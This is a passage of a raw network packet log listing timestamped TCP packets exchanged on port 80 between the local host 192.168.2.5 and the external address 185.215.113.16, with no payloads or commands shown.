Nov 1, 2024 05:53:08.590305090 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590307951 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590317011 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590327978 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590341091 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590368986 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590739965 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590756893 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590774059 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590784073 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590787888 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590795994 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590811968 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590842009 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590852022 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590893984 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.590985060 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.590997934 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591008902 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591022968 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591041088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591042042 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591053963 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591078043 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591101885 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591197014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591207981 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591218948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591233015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591245890 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591263056 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591321945 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591340065 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591351032 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591353893 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591361046 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591372013 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591372967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591383934 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591394901 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591403961 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591408014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591420889 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591432095 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591448069 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591453075 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591471910 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591478109 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591483116 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591492891 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591510057 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591521025 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591531038 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591538906 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591547966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591567993 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591588020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591604948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591615915 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591628075 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591639042 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.591644049 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591665983 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.591681957 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592109919 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592128992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592139959 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592149973 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592159986 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592180014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592180967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592197895 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592209101 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592223883 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592232943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592243910 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592269897 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592272997 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592283964 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592308044 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592322111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592325926 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592339039 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592349052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592363119 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592375994 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592376947 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592398882 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592401028 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592410088 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592437983 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592437983 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592478037 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592506886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592520952 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592530966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592547894 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592562914 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592572927 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592705965 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592720032 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592730045 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592741013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592767000 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592789888 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592801094 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592813969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.592824936 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.592852116 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593094110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593105078 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593116045 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593127966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593130112 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593138933 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593151093 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593158960 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593185902 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593358040 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593394995 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593420029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593430042 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593446970 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593456984 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593461037 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593467951 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593468904 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593491077 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593509912 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593516111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593524933 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593535900 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593549013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593559980 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593579054 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593604088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593615055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593626976 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.593641043 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.593653917 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594042063 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594079971 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594094992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594105005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594115973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594131947 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594149113 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594248056 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594264984 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594275951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594285965 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594293118 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594305038 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594310999 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594316006 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594327927 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594336033 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594336987 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594350100 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594353914 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594360113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594371080 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594379902 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594383955 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594398975 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594405890 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594409943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594419956 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594423056 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594440937 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594449997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594450951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594470978 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594477892 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594480038 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594491005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594496012 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594502926 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594511986 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594521999 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594522953 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594537020 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594547033 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594557047 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594558954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594568968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594579935 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594599009 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594620943 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594769001 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594779968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594789982 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594805002 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594822884 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594830036 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594835997 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594847918 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594858885 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594885111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594928980 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594940901 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594952106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.594968081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594994068 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.594995022 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595007896 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595019102 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595030069 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595060110 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595210075 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595227003 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595238924 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595247984 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595256090 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595268011 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595273972 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595278978 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595292091 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595298052 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595304012 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595321894 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595341921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595360041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595371008 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595381021 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595396042 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595421076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595773935 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595786095 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595798969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595809937 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595812082 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595834017 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595837116 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595844984 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595859051 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595860958 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595871925 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595882893 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595884085 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595911026 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595930099 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.595964909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595976114 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595988035 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.595999002 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.596002102 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.596014977 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.596034050 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.596035957 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.596057892 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.596071005 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.596098900 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.706809998 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.706875086 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.706897020 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.706907034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.706917048 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.706938982 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.706940889 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.706963062 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.706991911 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707000971 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707005024 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707016945 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707031012 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707051992 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707076073 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707084894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707096100 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707112074 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707139969 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707170963 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707182884 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707195044 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707211971 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707245111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707567930 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707608938 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707614899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707627058 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707653999 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707664967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707684040 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707695007 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707704067 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707724094 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707730055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707740068 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707741022 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707762957 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707789898 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707868099 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707879066 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707889080 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707906961 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707917929 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707925081 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707936049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707947016 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.707962036 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707989931 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.707993031 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708004951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708015919 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708030939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708033085 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708058119 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708081007 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708091974 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708108902 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708122015 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708129883 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708148003 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708158970 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708179951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708189964 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708205938 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708218098 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708218098 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708228111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708230972 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708241940 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708266020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708378077 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708389044 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708400011 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708415985 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708439112 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708444118 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708451986 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708462954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708473921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708491087 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708503008 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708503962 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708514929 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:08.708527088 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708559990 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:08.708609104 CET	80	49950	185.215.113.16	192.168.2.5
